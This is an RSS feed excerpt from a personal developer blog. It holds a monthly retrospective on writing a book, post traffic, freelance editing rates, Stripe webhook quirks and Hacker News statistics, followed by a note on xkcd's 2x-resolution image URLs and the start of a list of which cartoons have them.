&lt;p>The problem is that my &amp;ldquo;swing for the fences&amp;rdquo; posts take me about a month to write, so if I&amp;rsquo;m publishing blog posts as I write my book, I&amp;rsquo;d have to put my book on hold for a month every time I write a blog post.&lt;/p>
&lt;p>I&amp;rsquo;ve been thinking about whether I could do some &amp;ldquo;bunt&amp;rdquo; posts instead. That way, I can only put my book on hold for a week rather than the whole month.&lt;/p>
&lt;p>I don&amp;rsquo;t want to take a topic that deserves a lot of care and just do a lazy version of it. Rather, I want to take a topic that&amp;rsquo;s easy to cover and just see how it does.&lt;/p>
&lt;p>My first bunt was, &lt;a href="https://mtlynch.io/my-old-new-thing-cameo/">&amp;ldquo;I Once Appeared in The Old New Thing.&amp;rdquo;&lt;/a> It was about an experience I had at 22 at my first real job. I didn&amp;rsquo;t have a lot of insightful things to say about it, but I thought it was an interesting story. I was able to write it in about four hours, and it felt complete for what it was.&lt;/p>
&lt;p>My next bunt was, &lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">&amp;ldquo;The Software Essays that Shaped Me.&amp;rdquo;&lt;/a> I&amp;rsquo;ve seen other people share lists of their favorite software blog posts, and I thought it would be an easy, fun thing to do. Best of all, the people who appreciate good software writing might also find my book interesting.&lt;/p>
&lt;p>As I started to write &amp;ldquo;The Software Essays that Shaped Me,&amp;rdquo; it turned into more than just a bunt. I ended up spending almost all of September on it.&lt;/p>
&lt;p>I originally thought I&amp;rsquo;d list my favorite blog posts and call it a day, but that felt too boring. So, I tried to include short commentary about each post. Then, I got carried away and ended up writing commentary that was longer than the originals themselves. It took me several drafts to figure out what commentary felt interesting, and I still don&amp;rsquo;t feel like I quite succeeded.&lt;/p>
&lt;p>I ended up spending 17 hours on &amp;ldquo;The Software Essays that Shaped Me&amp;rdquo; and never stopped to evaluate whether it was still worth writing if it was going to be all that work.&lt;/p>
&lt;p>I think the post is interesting to people who read my blog. If someone I knew published a list of articles that influenced them, I&amp;rsquo;d find that interesting. But in comment threads about the post, people shared their own lists, and I found strangers&amp;rsquo; lists totally uninteresting. Maybe I counteracted that some by investing a lot in my commentary, but I just don&amp;rsquo;t think a list of good blog posts can be all that interesting.&lt;/p>
&lt;p>Both posts did well. They both reached the front page of Hacker News, though they did it through the &lt;a href="https://news.ycombinator.com/item?id=26998308">second chance pool&lt;/a>, which feels a little like winning through TKO rather than a real knockout.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Post&lt;/th>
 &lt;th>Writing Hours&lt;/th>
 &lt;th>Unique Readers&lt;/th>
 &lt;th>Hacker News score&lt;/th>
 &lt;th>Lobsters score&lt;/th>
 &lt;th>reddit score&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">&amp;ldquo;The Software Essays that Shaped Me&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>17&lt;/td>
 &lt;td>20.2k&lt;/td>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=45425568">307&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/rouky6/software_essays_shaped_me">85&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.reddit.com/r/programming/comments/1nug0oo/the_software_essays_that_shaped_me/">125&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/my-old-new-thing-cameo/">&amp;ldquo;I Once Appeared in The Old New Thing&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>3.8k&lt;/td>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=45274779">49&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/pulpod/i_once_appeared_old_new_thing">49&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.reddit.com/r/programming/comments/1nx8l6q/i_once_appeared_in_the_old_new_thing/">28&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It&amp;rsquo;s interesting that the results scaled almost linearly with the effort I invested, which I typically &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#i-worked-on-educational-products">don&amp;rsquo;t find to be the case&lt;/a>.&lt;/p>
&lt;h2 id="squandering-my-moment-of-glory">Squandering my moment of glory&lt;/h2>
&lt;p>Previously, when one of my &lt;em>Refactoring English&lt;/em> posts did well on Hacker News, there was a noticeable uptick in readers &lt;a href="https://mtlynch.io/my-6k-advance/#publishing-book-excerpts">purchasing the book&lt;/a>. This time, “The Software Essays that Shaped Me” &lt;a href="https://hnrankings.info/45425568/">reached #2&lt;/a> and stayed on the front page for 11 hours, but only one person purchased.&lt;/p>
&lt;p>Maybe everyone seeing my post on Hacker News has already seen that I&amp;rsquo;m writing a book, so everyone who&amp;rsquo;s interested has already bought?&lt;/p>
&lt;p>I woke up the morning after my article had already fallen off the front page of Hacker News and suddenly realized: I never included the ad for the book!&lt;/p>
&lt;p>All the sample chapters on the book&amp;rsquo;s website include a little self-ad to tell the reader I&amp;rsquo;m writing a book on this topic, and they can buy early access.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/10/self-blurb.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/10/self-blurb_hu_8efb94275b8e717b.webp 300w, https://mtlynch.io/retrospectives/2025/10/self-blurb_hu_d488d45800b02018.webp 600w, https://mtlynch.io/retrospectives/2025/10/self-blurb_hu_74692b907eeb9e08.webp 800w, https://mtlynch.io/retrospectives/2025/10/self-blurb_hu_72c3d4074cc658b6.webp 1200w, https://mtlynch.io/retrospectives/2025/10/self-blurb.webp 1256w'
 src="https://mtlynch.io/retrospectives/2025/10/self-blurb.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>All the pages on the &lt;em>Refactoring English&lt;/em> website are supposed to have a little self-ad on them for the book.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I forgot to include the self-ad for the blog post, so the first 14k readers saw my post and had no idea I&amp;rsquo;m writing a book. D&amp;rsquo;oh!&lt;/p>
&lt;p>I&amp;rsquo;ve updated my blog template so that I can&amp;rsquo;t possibly forget to include the self-ad in the future.&lt;/p>
&lt;h2 id="adjusting-my-approach-to-freelance-editing">Adjusting my approach to freelance editing&lt;/h2>
&lt;p>A few months ago, I decided to offer freelance editing services to help other developers improve writing on their blogs. My idea was that it&amp;rsquo;s an opportunity to make sure the way I explain concepts in my book makes sense to real people.&lt;/p>
&lt;p>The downside is that there&amp;rsquo;s a high cost to the editing. Each job takes me between four to seven hours, and it eats up my &amp;ldquo;hard thinking&amp;rdquo; of the day, so it&amp;rsquo;s tough to do my own writing in the same day. I also feel pressure to offer quick turnaround, even though nobody has asked me to hurry. But just knowing my own writing process, it sucks to be stuck for days waiting on feedback.&lt;/p>
&lt;p>At the beginning, freelance editing worked as I planned: it gave me good ideas for my book. As I do more jobs, I&amp;rsquo;m getting fewer ideas for my book. Now, most of the feedback I write is basically writing a personalized version of something I&amp;rsquo;ve already written for my book.&lt;/p>
&lt;p>I want to keep doing the editing, but &lt;em>only&lt;/em> for authors who have read my book. I doubled my rates, so now my price for editing a blog post is $400. But I&amp;rsquo;m going to offer a 90% discount to readers who have read my book.&lt;/p>
&lt;p>At a 90% discount, it&amp;rsquo;s almost not worth charging at all, but I want clients to pay &lt;em>some&lt;/em> amount so that they feel like they have skin in the game, too.&lt;/p>
&lt;p>I&amp;rsquo;ll continue to take on clients who haven&amp;rsquo;t read the book, but I want to charge enough that I feel like it&amp;rsquo;s worth the tradeoff of taking time from my book. $400 might still be too low, but we&amp;rsquo;ll see.&lt;/p>
&lt;h2 id="why-do-i-keep-skipping-reader-outreach">Why do I keep skipping reader outreach?&lt;/h2>
&lt;p>I&amp;rsquo;m trying to figure out why I keep missing my goal of reader outreach. On its face, it doesn&amp;rsquo;t seem that hard, but it never seems like the most important thing, so I keep deferring it.&lt;/p>
&lt;p>There are other tasks I procrastinate because I don&amp;rsquo;t enjoy doing them, but I actually enjoy reaching out to readers. It&amp;rsquo;s fun to see what different readers are up to and how they might apply my techniques.&lt;/p>
&lt;p>Part of the issue is that emailing readers requires activation energy because I have to:&lt;/p>
&lt;ol>
&lt;li>Go to my list of pre-paid readers&lt;/li>
&lt;li>Look for ones that have a website (so I can say something personalized)&lt;/li>
&lt;li>Read through their website to learn more about them&lt;/li>
&lt;li>Write an email and word it carefully to avoid sounding AI-generated&lt;/li>
&lt;/ol>
&lt;p>It might help if I first gather a list of customers to email and their websites. That way, when I&amp;rsquo;m in the mood to reach out, I&amp;rsquo;m not starting from scratch every time.&lt;/p>
&lt;h2 id="the-hassle-of-sending-post-purchase-emails-with-stripe">The hassle of sending post-purchase emails with Stripe&lt;/h2>
&lt;p>A few &lt;em>Refactoring English&lt;/em> customers have emailed me confused because they paid but never got an email with a link to the book. I collect payment through Stripe, and Stripe redirects customers to the book&amp;rsquo;s URL after they complete payment. If the customer doesn&amp;rsquo;t notice the redirect or forgets to bookmark the page, they lose access to the book.&lt;/p>
&lt;p>Whenever customers tell me they can&amp;rsquo;t find the link to the book, I dig around in Stripe to look for a setting to customize post-purchase emails, give up after a few minutes, and then email the correct link to the customer.&lt;/p>
&lt;p>Last month, I finally sat down and searched through Stripe&amp;rsquo;s documentation and forum posts, and I can&amp;rsquo;t find any way to customize the email Stripe sends after a customer completes a one-time payment. As far as I can tell, the only option is to spin up your own web server to listen for Stripe webhooks, then send your own emails from your own email provider. All because Stripe can&amp;rsquo;t be bothered to let merchants customize any text in the payment completion emails&amp;hellip;&lt;/p>
&lt;p>Setting up a web server to respond to webhooks shouldn&amp;rsquo;t be &lt;em>that&lt;/em> hard for me, but it means writing code to glue together Stripe, Buttondown, and Netlify functions, and they all have their little gotchas and bugs. Especially Stripe. I&amp;rsquo;ve spent about 10 hours so far just trying to get emails to send after a customer makes a purchase, and I&amp;rsquo;m still not sure it&amp;rsquo;s working correctly.&lt;/p>
&lt;p>Here are the gotchas I&amp;rsquo;ve hit so far:&lt;/p>
&lt;ul>
&lt;li>Stripe&amp;rsquo;s &lt;a href="https://github.com/stripe/stripe-go">Go client library&lt;/a> is compatible with &lt;em>exactly&lt;/em> one version of the Stripe webhook API.
&lt;ul>
&lt;li>No, the documentation doesn&amp;rsquo;t say which one. Run it and find out from the webhook failures!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you update your Stripe account to use the latest webhook API version and then resend a webhook for a previous event, Stripe still uses the old API version even though it claims to use the new version.&lt;/li>
&lt;li>Stripe&amp;rsquo;s webhook requests for &lt;code>checkout.session.completed&lt;/code> don&amp;rsquo;t actually contain &lt;code>line_items&lt;/code> even though it&amp;rsquo;s present in the docs.
&lt;ul>
&lt;li>This is a pain because it means you can&amp;rsquo;t figure out what the customer purchased unless you make a separate API call.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Netlify silently converts HTTP header names to lowercase, so if you&amp;rsquo;re looking for the &lt;code>Stripe-Signature:&lt;/code> header, you have to look for &lt;code>stripe-signature&lt;/code>.&lt;/li>
&lt;li>The Stripe webhook signing secret is different from your Stripe API key.&lt;/li>
&lt;/ul>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="breaking-down-hacker-news-success-by-the-hour">Breaking down Hacker News success by the hour&lt;/h3>
&lt;p>I&amp;rsquo;m still tinkering with Hacker News Observer, a product that I still haven&amp;rsquo;t released and don&amp;rsquo;t know what to do with. For now, I&amp;rsquo;m just gathering data and using it to satisfy some curiosities about success on Hacker News.&lt;/p>
&lt;p>One curiosity I&amp;rsquo;ve had for a long time is whether there are times of day when it&amp;rsquo;s easier for a post to reach the front page of Hacker News, so I aggregated what percentage of posts reach the front page over the course of a day:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/10/hourly-aggregates.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/10/hourly-aggregates_hu_1579e4d8527f506c.webp 300w, https://mtlynch.io/retrospectives/2025/10/hourly-aggregates_hu_59470997967bb961.webp 600w, https://mtlynch.io/retrospectives/2025/10/hourly-aggregates_hu_676cff023b4f2700.webp 800w, https://mtlynch.io/retrospectives/2025/10/hourly-aggregates_hu_52cafacbdad562f7.webp 1200w, https://mtlynch.io/retrospectives/2025/10/hourly-aggregates.webp 1296w'
 src="https://mtlynch.io/retrospectives/2025/10/hourly-aggregates.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I created a view in Hacker News observer to show front page stats by hour&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I initially thought I had a bug that overcounted the success rate, as the percentage of Hacker News submissions that reach the front page feels lower than 12% in my experience. Then, I looked at some random slices from the last few days, and it seems to match up. If I browse &lt;a href="https://news.ycombinator.com/newest">&lt;code>/newest&lt;/code>&lt;/a>, there will typically be 2-5 stories that reached the front page. I found &lt;a href="https://news.ycombinator.com/newest?next=45440276&amp;amp;n=1081">a 30-minute slice from a few days ago&lt;/a> where 27% of submissions reached the front page, which is surprising.&lt;/p>
&lt;p>I thought that success rate would be significantly higher on the weekends, when there are fewer submissions. Weekend posts are more likely to reach the front page, but the effect is much smaller than I thought.&lt;/p>
&lt;ul>
&lt;li>Weekdays: 12.1% of submissions reach the front page.&lt;/li>
&lt;li>Weekends: 13.2% of submissions reach the front page.&lt;/li>
&lt;/ul>
&lt;p>I thought it was going to be like 5% on weekdays vs. 20% on weekends. It makes submitting on the weekend less attractive because your chances of hitting the front page are only slightly better, but if you succeed, there are substantially fewer readers.&lt;/p>
&lt;p>I&amp;rsquo;d like to try limiting the data to personal blogs &lt;a href="https://refactoringenglish.com/tools/hn-popularity/methodology/">like I do on HN Popularity Contest&lt;/a>, as I&amp;rsquo;m curious to see if personal blogs have better chances at certain times.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/blog/software-essays-that-shaped-me/">&amp;ldquo;The Software Essays that Shaped Me&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/my-old-new-thing-cameo/">&amp;ldquo;I Once Appeared in The Old New Thing&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/">&amp;ldquo;Get xkcd Cartoons at 2x Resolution&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Worked with two freelance clients for &lt;em>Refactoring English&lt;/em>&lt;/li>
&lt;li>Set up a webhook handler to send post-purchase emails to &lt;em>Refactoring English&lt;/em> customers&lt;/li>
&lt;li>Added &amp;ldquo;success by hour of day&amp;rdquo; feature to Hacker News observer&lt;/li>
&lt;li>Started &lt;a href="https://github.com/jellyfin/jellyfin-roku/pulls?q=is%3Apr+author%3Amtlynch">contributing to the Jellyfin Roku client code&lt;/a>&lt;/li>
&lt;li>Had &lt;a href="https://forum.airgradient.com/t/tutorial-flash-an-airgradient-one-from-the-command-line/4768/14">a call with AirGradient&lt;/a> to discuss improving relations between the company and community members&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Consider bailing if a low-investment post turns out to be high-investment.&lt;/li>
&lt;li>Stripe does not allow you to customize post-purchase emails.
&lt;ul>
&lt;li>You have to do a bunch of other stuff to send your customers an email.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Set up editing discounts for readers who have read the book.&lt;/li>
&lt;li>Create a list of early access customers to reach out to.&lt;/li>
&lt;li>Publish a new chapter of the book.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Get xkcd Cartoons at 2x Resolution</title><link>https://mtlynch.io/notes/xkcd-2x-resolution/</link><pubDate>Sat, 27 Sep 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/xkcd-2x-resolution/</guid><description>&lt;p>I recently learned a neat trick from &lt;a href="https://mbuffett.com/">Marcus Buffett&lt;/a>: xkcd has an undocumented way to get images of the cartoons at double their normal resolution.&lt;/p>
&lt;h2 id="the-_2x-trick">The _2x trick&lt;/h2>
&lt;p>For example, &lt;a href="https://xkcd.com/2582/">xkcd #2582 &amp;ldquo;Data Trap&amp;rdquo;&lt;/a> lists this URL as the direct link:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://imgs.xkcd.com/comics/data_trap.png">https://imgs.xkcd.com/comics/data_trap.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>That leads to this 275x275px image, quite small by today&amp;rsquo;s standards:&lt;/p>













 















&lt;div class="img" style="max-width: 277px">



 &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 277px, 98vw"
 srcset='https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png 275w'
 src="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>But there&amp;rsquo;s a trick! Add a &lt;code>_2x&lt;/code> to the filename in the URL:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://imgs.xkcd.com/comics/data_trap_2x.png">https://imgs.xkcd.com/comics/data_trap_2x.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>That gives you a version that&amp;rsquo;s 2x the original resolution, at 550x550px:&lt;/p></description><content:encoded>&lt;p>I recently learned a neat trick from &lt;a href="https://mbuffett.com/">Marcus Buffett&lt;/a>: xkcd has an undocumented way to get images of the cartoons at double their normal resolution.&lt;/p>
&lt;h2 id="the-_2x-trick">The _2x trick&lt;/h2>
&lt;p>For example, &lt;a href="https://xkcd.com/2582/">xkcd #2582 &amp;ldquo;Data Trap&amp;rdquo;&lt;/a> lists this URL as the direct link:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://imgs.xkcd.com/comics/data_trap.png">https://imgs.xkcd.com/comics/data_trap.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>That leads to this 275x275px image, quite small by today&amp;rsquo;s standards:&lt;/p>













 















&lt;div class="img" style="max-width: 277px">



 &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 277px, 98vw"
 srcset='https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png 275w'
 src="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>But there&amp;rsquo;s a trick! Add a &lt;code>_2x&lt;/code> to the filename in the URL:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://imgs.xkcd.com/comics/data_trap_2x.png">https://imgs.xkcd.com/comics/data_trap_2x.png&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>That gives you a version that&amp;rsquo;s 2x the original resolution, at 550x550px:&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 552px">



 &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap_2x.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 552px, 98vw"
 srcset='https://mtlynch.io/notes/xkcd-2x-resolution/data_trap_2x_hu_dcafff0b52fcea37.png 300w, https://mtlynch.io/notes/xkcd-2x-resolution/data_trap_2x.png 550w'
 src="https://mtlynch.io/notes/xkcd-2x-resolution/data_trap_2x.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I couldn&amp;rsquo;t find the 2x versions documented &lt;del>or linked anywhere&lt;/del> except for some &lt;a href="https://www.reddit.com/r/xkcd/comments/5huz2a/xkcd_comics_are_being_replaced_with_2xresolution/">old&lt;/a>, &lt;a href="https://www.reddit.com/r/xkcd/comments/g23yqe/you_should_know_that_for_all_comics_after_xkcd/">obscure&lt;/a> reddit posts. I hope this knowledge saves you from &lt;a href="https://xkcd.com/1683/">stretching out&lt;/a> poor, low-resolution xkcd comics.&lt;/p>
&lt;p>&lt;strong>Update (2025-10-02)&lt;/strong>: My friend &lt;a href="https://bsky.app/profile/matt.dev">Matthew Riley&lt;/a> let me know that the &lt;code>_2x&lt;/code> URL actually appears in xkcd&amp;rsquo;s HTML in the image&amp;rsquo;s &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/srcset">&lt;code>srcset&lt;/code> attribute&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">img&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">src&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;//imgs.xkcd.com/comics/measure_twice_cut_once.png&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">srcset&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;//imgs.xkcd.com/comics/measure_twice_cut_once_2x.png 2x&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Matthew also did some sleuthing at the Internet Archive and noticed that Randall Munroe added the &lt;code>2x&lt;/code> version for older cartoons recently, as #124 &amp;ldquo;Blogofractal&amp;rdquo; had no &lt;code>srcset&lt;/code> attribute &lt;a href="https://web.archive.org/web/20230328151746id_/https://xkcd.com/124/">in this 2023 snapshot&lt;/a>, but &lt;a href="https://web.archive.org/web/20240214232741id_/https://xkcd.com/124/">this 2024 snapshot&lt;/a> includes &lt;code>srcset&lt;/code>.&lt;/p>
&lt;h2 id="which-ones-are-available-in-2x">Which ones are available in 2x?&lt;/h2>
&lt;p>Not every xkcd is availble in 2x resolution.&lt;/p>
&lt;p>I vibe-coded &lt;a href="check_xkcd_2x.py">a Python script&lt;/a> to check which cartoons have a 2x-resolution version and published the current list:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution-list/">List of 2x-resolution xkcd Cartoons&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The earliest version with 2x available is &lt;a href="https://xkcd.com/124/">#124, &amp;ldquo;Blogofractal&amp;rdquo;&lt;/a> (&lt;a href="https://imgs.xkcd.com/comics/blogofractal_2x.png">2x version&lt;/a>).&lt;/p>
&lt;p>Starting with &lt;a href="https://xkcd.com/1084/">#1084, &amp;ldquo;Server Problem&amp;rdquo;&lt;/a> (&lt;a href="https://imgs.xkcd.com/comics/server_problem_2x.png">2x version&lt;/a>), almost every xkcd is available at 2x-resolution.&lt;/p>
&lt;h2 id="easter-eggs">Easter eggs&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://xkcd.com/1683/">#1683 &amp;ldquo;Digital Data&amp;rdquo;&lt;/a>: The &lt;a href="https://imgs.xkcd.com/comics/digital_data_2x.png">2x version&lt;/a> is lower quality than &lt;a href="https://imgs.xkcd.com/comics/digital_data.png">the original&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>List of 2x-resolution xkcd Cartoons</title><link>https://mtlynch.io/notes/xkcd-2x-resolution-list/</link><pubDate>Sat, 27 Sep 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/xkcd-2x-resolution-list/</guid><description>&lt;p>This is a list of all the xkcd cartoons that are available in 2x resolution, as of today&amp;rsquo;s date.&lt;/p>
&lt;p>See the accompanying post, &lt;a href="https://mtlynch.io/notes/xkcd-2x-resolution/">&amp;ldquo;Get xkcd Cartoons at 2x Resolution,&amp;rdquo;&lt;/a> for an explanation.&lt;/p>
&lt;!-- markdownlint-disable no-bare-urls -->
&lt;ul>
&lt;li>1: No higher res available&lt;/li>
&lt;li>2: No higher res available&lt;/li>
&lt;li>3: No higher res available&lt;/li>
&lt;li>4: No higher res available&lt;/li>
&lt;li>5: No higher res available&lt;/li>
&lt;li>6: No higher res available&lt;/li>
&lt;li>7: No higher res available&lt;/li>
&lt;li>8: No higher res available&lt;/li>
&lt;li>9: No higher res available&lt;/li>
&lt;li>10: No higher res available&lt;/li>
&lt;li>11: No higher res available&lt;/li>
&lt;li>12: No higher res available&lt;/li>
&lt;li>13: No higher res available&lt;/li>
&lt;li>14: No higher res available&lt;/li>
&lt;li>15: No higher res available&lt;/li>
&lt;li>16: No higher res available&lt;/li>
&lt;li>17: No higher res available&lt;/li>
&lt;li>18: No higher res available&lt;/li>
&lt;li>19: No higher res available&lt;/li>
&lt;li>20: No higher res available&lt;/li>
&lt;li>21: No higher res available&lt;/li>
&lt;li>22: No higher res available&lt;/li>
&lt;li>23: No higher res available&lt;/li>
&lt;li>24: No higher res available&lt;/li>
&lt;li>25: No higher res available&lt;/li>
&lt;li>26: No higher res available&lt;/li>
&lt;li>27: No higher res available&lt;/li>
&lt;li>28: No higher res available&lt;/li>
&lt;li>29: No higher res available&lt;/li>
&lt;li>30: No higher res available&lt;/li>
&lt;li>31: No higher res available&lt;/li>
&lt;li>32: No higher res available&lt;/li>
&lt;li>33: No higher res available&lt;/li>
&lt;li>34: No higher res available&lt;/li>
&lt;li>35: No higher res available&lt;/li>
&lt;li>36: No higher res available&lt;/li>
&lt;li>37: No higher res available&lt;/li>
&lt;li>38: No higher res available&lt;/li>
&lt;li>39: No higher res available&lt;/li>
&lt;li>40: No higher res available&lt;/li>
&lt;li>41: No higher res available&lt;/li>
&lt;li>42: No higher res available&lt;/li>
&lt;li>43: No higher res available&lt;/li>
&lt;li>44: No higher res available&lt;/li>
&lt;li>45: No higher res available&lt;/li>
&lt;li>46: No higher res available&lt;/li>
&lt;li>47: No higher res available&lt;/li>
&lt;li>48: No higher res available&lt;/li>
&lt;li>49: No higher res available&lt;/li>
&lt;li>50: No higher res available&lt;/li>
&lt;li>51: No higher res available&lt;/li>
&lt;li>52: No higher res available&lt;/li>
&lt;li>53: No higher res available&lt;/li>
&lt;li>54: No higher res available&lt;/li>
&lt;li>55: No higher res available&lt;/li>
&lt;li>56: No higher res available&lt;/li>
&lt;li>57: No higher res available&lt;/li>
&lt;li>58: No higher res available&lt;/li>
&lt;li>59: No higher res available&lt;/li>
&lt;li>60: No higher res available&lt;/li>
&lt;li>61: No higher res available&lt;/li>
&lt;li>62: No higher res available&lt;/li>
&lt;li>63: No higher res available&lt;/li>
&lt;li>64: No higher res available&lt;/li>
&lt;li>65: No higher res available&lt;/li>
&lt;li>66: No higher res available&lt;/li>
&lt;li>67: No higher res available&lt;/li>
&lt;li>68: No higher res available&lt;/li>
&lt;li>69: No higher res available&lt;/li>
&lt;li>70: No higher res available&lt;/li>
&lt;li>71: No higher res available&lt;/li>
&lt;li>72: No higher res available&lt;/li>
&lt;li>73: No higher res available&lt;/li>
&lt;li>74: No higher res available&lt;/li>
&lt;li>75: No higher res available&lt;/li>
&lt;li>76: No higher res available&lt;/li>
&lt;li>77: No higher res available&lt;/li>
&lt;li>78: No higher res available&lt;/li>
&lt;li>79: No higher res available&lt;/li>
&lt;li>80: No higher res available&lt;/li>
&lt;li>81: No higher res available&lt;/li>
&lt;li>82: No higher res available&lt;/li>
&lt;li>83: No higher res available&lt;/li>
&lt;li>84: No higher res available&lt;/li>
&lt;li>85: No higher res available&lt;/li>
&lt;li>86: No higher res available&lt;/li>
&lt;li>87: No higher res available&lt;/li>
&lt;li>88: No higher res available&lt;/li>
&lt;li>89: No higher res available&lt;/li>
&lt;li>90: No higher res available&lt;/li>
&lt;li>91: No higher res available&lt;/li>
&lt;li>92: No higher res available&lt;/li>
&lt;li>93: No higher res available&lt;/li>
&lt;li>94: No higher res available&lt;/li>
&lt;li>95: No higher res available&lt;/li>
&lt;li>96: No higher res available&lt;/li>
&lt;li>97: No higher res available&lt;/li>
&lt;li>98: No higher res available&lt;/li>
&lt;li>99: No higher res available&lt;/li>
&lt;li>100: No higher res available&lt;/li>
&lt;li>101: No higher res available&lt;/li>
&lt;li>102: No higher res available&lt;/li>
&lt;li>103: No higher res available&lt;/li>
&lt;li>104: No higher res available&lt;/li>
&lt;li>105: No higher res available&lt;/li>
&lt;li>106: No higher res available&lt;/li>
&lt;li>107: No higher res available&lt;/li>
&lt;li>108: No higher res available&lt;/li>
&lt;li>109: No higher res available&lt;/li>
&lt;li>110: No higher res available&lt;/li>
&lt;li>111: No higher res available&lt;/li>
&lt;li>112: No higher res available&lt;/li>
&lt;li>113: No higher res available&lt;/li>
&lt;li>114: No higher res available&lt;/li>
&lt;li>115: No higher res available&lt;/li>
&lt;li>116: No higher res available&lt;/li>
&lt;li>117: No higher res available&lt;/li>
&lt;li>118: No higher res available&lt;/li>
&lt;li>119: No higher res available&lt;/li>
&lt;li>120: No higher res available&lt;/li>
&lt;li>121: No higher res available&lt;/li>
&lt;li>122: No higher res available&lt;/li>
&lt;li>123: No higher res available&lt;/li>
&lt;li>124: &lt;a href="https://imgs.xkcd.com/comics/blogofractal_2x.png">https://imgs.xkcd.com/comics/blogofractal_2x.png&lt;/a>&lt;/li>
&lt;li>125: No higher res available&lt;/li>
&lt;li>126: No higher res available&lt;/li>
